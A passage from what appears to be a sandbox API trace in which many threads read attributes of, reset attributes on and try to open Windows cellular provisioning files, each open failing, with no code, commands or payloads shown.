(lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\51__connections_cellular_eronet bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.807] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.807] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\51__connections_cellular_eronet bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.807] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.807] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4fe0) returned 1 [0181.807] RtlExitUserThread (Status=0x0) Thread: id = 3117 os_tid = 0x1270 [0181.680] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\520__connections_cellular_vms mobifone (vietnam)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.806] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.806] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\520__connections_cellular_vms mobifone (vietnam)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.806] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.806] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2868) returned 1 [0181.806] RtlExitUserThread (Status=0x0) Thread: id = 3118 os_tid = 0x1274 [0181.680] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\521__connections_cellular_vodafone (worldwide)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.804] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.805] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\521__connections_cellular_vodafone (worldwide)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.805] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.805] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe16f0) returned 1 [0181.805] RtlExitUserThread (Status=0x0) Thread: id = 3119 os_tid = 0x1278 [0181.680] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\522__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0181.803] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0181.803] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\522__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.804] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0181.804] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2460) returned 1 [0181.804] RtlExitUserThread (Status=0x0) Thread: id = 3120 os_tid = 0x1280 [0181.681] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\523__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0181.776] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.776] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\523__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.776] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.776] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054350) returned 1 [0181.776] RtlExitUserThread (Status=0x0) Thread: id = 3121 os_tid = 0x12cc [0181.686] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\524__connections_cellular_sabafon (yemen)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.774] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.775] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\524__connections_cellular_sabafon (yemen)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.775] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.775] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30569c8) returned 1 [0181.775] RtlExitUserThread (Status=0x0) Thread: id = 3122 os_tid = 0x12d4 [0181.687] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\525__connections_cellular_idea (india)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.773] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.773] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\525__connections_cellular_idea (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.774] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.774] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056b10) returned 1 [0181.774] RtlExitUserThread (Status=0x0) Thread: id = 3123 os_tid = 0x12d8 [0181.687] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\526__connections_cellular_mtnl (india)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.772] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.772] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\526__connections_cellular_mtnl (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.772] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.772] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056da0) returned 1 [0181.772] RtlExitUserThread (Status=0x0) Thread: id = 3124 os_tid = 0x12dc [0181.688] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\527__connections_cellular_reliance communication (india)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.802] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.802] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\527__connections_cellular_reliance communication (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.802] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.802] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1ff0) returned 1 [0181.802] RtlExitUserThread (Status=0x0) Thread: id = 3125 os_tid = 0x12e0 [0181.688] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\528__connections_cellular_vodafone in (india)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.801] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.801] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\528__connections_cellular_vodafone in (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.801] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.801] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1af8) returned 1 [0181.801] RtlExitUserThread (Status=0x0) Thread: id = 3126 os_tid = 0x12e4 [0181.689] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\529__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0181.800] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.800] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\529__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.800] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.800] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054bd8) returned 1 [0181.800] RtlExitUserThread (Status=0x0) Thread: id = 3127 os_tid = 0x12f0 [0181.689] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\52__connections_cellular_tele2 (bosnia and herzegovina)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.797] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.797] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\52__connections_cellular_tele2 (bosnia and herzegovina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.797] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.797] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa30d0) returned 1 [0181.797] RtlExitUserThread (Status=0x0) Thread: id = 3128 os_tid = 0x12fc [0181.690] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\530__connections_cellular_axis (indonesia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.795] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.796] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\530__connections_cellular_axis (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.796] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.796] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe29c0) returned 1 [0181.796] RtlExitUserThread (Status=0x0) Thread: id = 3129 os_tid = 0xe8c [0181.690] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\531__connections_cellular_im3 (indonesia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.794] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.794] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\531__connections_cellular_im3 (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.795] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.795] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056ee8) returned 1 [0181.795] RtlExitUserThread (Status=0x0) Thread: id = 3130 os_tid = 0x1020 [0181.691] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\532__connections_cellular_orange (armenia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.793] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.793] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\532__connections_cellular_orange (armenia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.793] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.793] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2b18) returned 1 [0181.793] RtlExitUserThread (Status=0x0) Thread: id = 3131 os_tid = 0x1024 [0181.691] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\533__connections_cellular_orange la réunion (france)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.792] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.792] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all 